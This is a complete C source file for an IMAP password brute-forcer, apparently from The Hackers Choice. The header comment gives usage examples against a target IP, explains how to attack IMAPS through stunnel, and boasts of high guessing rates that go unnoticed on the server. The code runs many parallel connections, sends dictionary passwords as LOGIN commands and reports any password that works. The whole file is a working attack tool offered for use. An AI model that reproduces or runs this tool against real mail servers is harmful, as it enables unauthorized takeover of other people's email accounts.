123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361 |
- /*
- * IMAP bruter. Coded this in a hurry. hydra was to slow (and sucked 100% cpu).
- * I had this one running with 30 passwords / second (100 parallel connections)
- * against a single server and it did not even appear in top.
- *
- * Visit us -- your enemies already did.
- * http://www.thc.org - THE HACKERS CHOICE
- *
- * gcc -Wall -O2 -g -o imap_bruter imap_bruter.c
- *
- * SSL support for dummies:
- * stunnel -c -d 127.0.0.1:9993 -f -r imap.theirdomain.com:993
- *
- * Example: (Brute 40 in parallel)
- * ./imap_bruter -r 1.2.3.4 -l carol -n 60 <dictionary.txt
- */
- #include <sys/time.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <stdio.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <time.h>
- #include <errno.h>
- #include <string.h>
- #include <stdlib.h>
- struct peer_str
- {
- char password[64];
- char buf[256];
- int sox;
- int read;
- char flags;
- time_t time;
- };
- #define FL_CONNECTED (0x01)
- #define FL_HEADERREAD (0x02)
- #define ERREXIT(a...) do { \
- fprintf(stderr, "%s:%d ", __func__, __LINE__); \
- fprintf(stderr, a); \
- exit(-1); \
- } while (0)
- static char g_flags;
- #define FL_FINISHED (0x04) /* wordlist finished */
- static unsigned short g_port;
- static unsigned int g_ip;
- static char *g_login;
- static unsigned int g_parallel;
- time_t time_now;
- static fd_set g_rfds, g_wfds;
- static unsigned int cracks;
- static char *g_passwd;
- static int n_peers;
- struct peer_str peers[1024];
-
- static unsigned int
- hostname(char *host)
- {
- struct hostent *he;
- int ip;
- if ( (ip = inet_addr(host)) != -1)
- return ip;
- if ( (he = gethostbyname(host)) == NULL)
- return -1;
- if (he->h_length != 4)
- return -1;
- return *(int *)he->h_addr;
- }
- int tcp_socket_connect(unsigned int ip, unsigned short port)
- {
- int fd;
- struct sockaddr_in addr;
- int i;
- if ((fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
- return -1;
- memset(&addr, 0, sizeof addr);
- addr.sin_family = PF_INET;
- addr.sin_addr.s_addr = ip;
- addr.sin_port = port;
- if (connect(fd, (struct sockaddr *)&addr, sizeof addr) != 0)
- {
- close(fd);
- return -1;
- }
- i = i;
- setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, &i, sizeof i);
- fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
- return fd;
- }
- static void
- usage(void)
- {
- fprintf(stderr, ""
- "imap-bruter [rlpn]\n"
- "Options:\n"
- " -r <ip address> - Server imapd runs on. [default: 127.0.0.1]\n"
- " -p <port> - Port imapd runs on. [default: 143]\n"
- " -l <login name> - Login name\n"
- " -n <parallel> - Number of parallel connections.\n"
- "Passwords are read from stdin. Stunnel can be used if IMAPS is in place.\n"
- "");
- exit(0);
- }
- static void
- do_getopt(int argc, char *argv[])
- {
- int c;
- g_port = 143;
- g_parallel = 5;
- while ((c = getopt(argc, argv, "r:l:p:n:")) != -1)
- {
- switch (c)
- {
- case 'r':
- g_ip = hostname(optarg);
- break;
- case 'l':
- g_login = strdup(optarg);
- break;
- case 'p':
- g_port = atoi(optarg);
- break;
- case 'n':
- g_parallel = atoi(optarg);
- break;
- default:
- usage();
- break;
- }
- }
- if (g_ip == -1)
- {
- fprintf(stderr, "Unknown host!\n");
- usage();
- }
- if (!g_login)
- usage();
- if (g_parallel <= 0)
- usage();
- }
- static void
- peer_clear(struct peer_str *p)
- {
- if (p->sox >= 0)
- close(p->sox);
- p->sox = -1;
- p->read = 0;
- p->flags = 0;
- /* Keep 'password' as it has not yet been processed */
- n_peers--;
- }
- static int
- do_readpwd(struct peer_str *p)
- {
- char *ptr;
- if (g_flags & FL_FINISHED)
- return -1;
- cracks++;
- memset(p->password, 0, sizeof p->password);
- if (fgets(p->password, sizeof p->password - 1, stdin) == NULL)
- return -1;
- g_passwd = p->password;
- ptr = strchr(p->password, '\n');
- if (ptr)
- *ptr = '\0';
- return 0;
- }
- /*
- * Socket ready for reading. Read line.
- */
- void
- do_read(struct peer_str *p)
- {
- ssize_t n;
- char *ptr;
- char buf[1024];
- n = read(p->sox, p->buf + p->read, sizeof p->buf - p->read - 1);
- if (n <= 0)
- goto err;
- p->read += n;
- if (p->read + 1 >= sizeof p->buf)
- goto err;
- p->buf[p->read] = '\0';
- ptr = strchr(p->buf, '\n');
- if (!ptr)
- return;
- p->time = time_now;
- if (p->flags & FL_HEADERREAD)
- {
- if (strstr(p->buf, " NO") == NULL)
- {
- printf("FOUND '%s'\n", p->password);
- exit(0);
- }
- if (do_readpwd(p) != 0)
- {
- g_flags |= FL_FINISHED;
- goto err;
- }
- } else {
- p->flags |= FL_HEADERREAD;
- if (p->password[0] == '\0')
- {
- if (do_readpwd(p) != 0)
- {
- g_flags |= FL_FINISHED;
- goto err;
- }
- }
- }
- snprintf(buf, sizeof buf, "1 login \"%.100s\" \"%.100s\"\r\n", g_login, p->password);
- n = strlen(buf);
- if (write(p->sox, buf, n) != n)
- {
- /* Write should not fail. Linux kernel always has 1024 write
- * buffer for us.
- */
- goto err;
- }
- return;
- err:
- peer_clear(p);
- }
- static void
- peer_init(struct peer_str *p)
- {
- p->sox = -1;
- p->read = 0;
- }
- int
- main(int argc, char *argv[])
- {
- struct timeval tv;
- int conn;
- int maxfd;
- struct peer_str *p;
- int i, n;
- int ret;
- socklen_t len;
- time_t time_last, time_start;
- unsigned int hours, min, sec;
- unsigned int old_cracks = 0;
- double cs;
- g_passwd = "<waiting...>";
- do_getopt(argc, argv);
- time_now = time(NULL);
- time_start = time_now;
- time_last = time_now;
- printf("Bruting '%s' with %d in parallel\n", g_login, g_parallel);
- for (i = 0; i < g_parallel; i++)
- peer_init(&peers[i]);
- while (1)
- {
- tv.tv_sec = 1;
- tv.tv_usec = 0;
- FD_ZERO(&g_rfds);
- FD_ZERO(&g_wfds);
- conn = 0;
- maxfd = 0;
- for (i = 0; i < g_parallel; i++)
- {
- if (peers[i].sox >= 0)
- {
- if (peers[i].flags & FL_CONNECTED)
- FD_SET(peers[i].sox, &g_rfds);
- else
- FD_SET(peers[i].sox, &g_wfds);
- } else if ((conn < 5) && (!(g_flags & FL_FINISHED))) {
- peers[i].time = time_now;
- peers[i].sox = tcp_socket_connect(g_ip, htons(g_port));
- if (peers[i].sox >= 0)
- FD_SET(peers[i].sox, &g_wfds);
- conn++;
- }
- if (peers[i].sox > maxfd)
- maxfd = peers[i].sox;
- }
- if (maxfd == 0)
- {
- fprintf(stderr, "Finished %u cracks after %lu sec.\n", cracks, time_now - time_start);
- exit(0);
- }
- n = select(maxfd + 1, &g_rfds, &g_wfds, NULL, &tv);
- time_now = time(NULL);
- if ((time_last < time_now) && (old_cracks != cracks))
- {
- sec = time_now - time_start;
- hours = sec / 3600;
- min = (sec - hours * 3600) / 60;
- sec = sec % 60;
- cs = ((float)cracks) / ((float)(time_now - time_start));
- fprintf(stderr, "[%u:%02u:%02u] total: %d with %d peers: '%s' (%1.03f c/s)\n", hours, min, sec, cracks, n_peers, g_passwd, cs);
- time_last = time_now;
- old_cracks = cracks;
- }
- for (i = 0; i < g_parallel; i++)
- {
- p = &peers[i];
- if (p->sox < 0)
- continue;
- if (p->time + 30 < time_now)
- {
- fprintf(stderr, "TIMEOUT on socket...\n");
- peer_clear(p);
- continue;
- }
- if (FD_ISSET(p->sox, &g_wfds))
- {
- len = sizeof ret;
- ret = 0;
- if ((getsockopt(p->sox, SOL_SOCKET, SO_ERROR, &ret, &len) != 0) || (ret != 0))
- peer_clear(p);
- else {
- p->flags |= FL_CONNECTED;
- n_peers++;
- }
- } else if (FD_ISSET(p->sox, &g_rfds)) {
- do_read(p);
- }
- } /* for through all peers.. */
- }
- }
|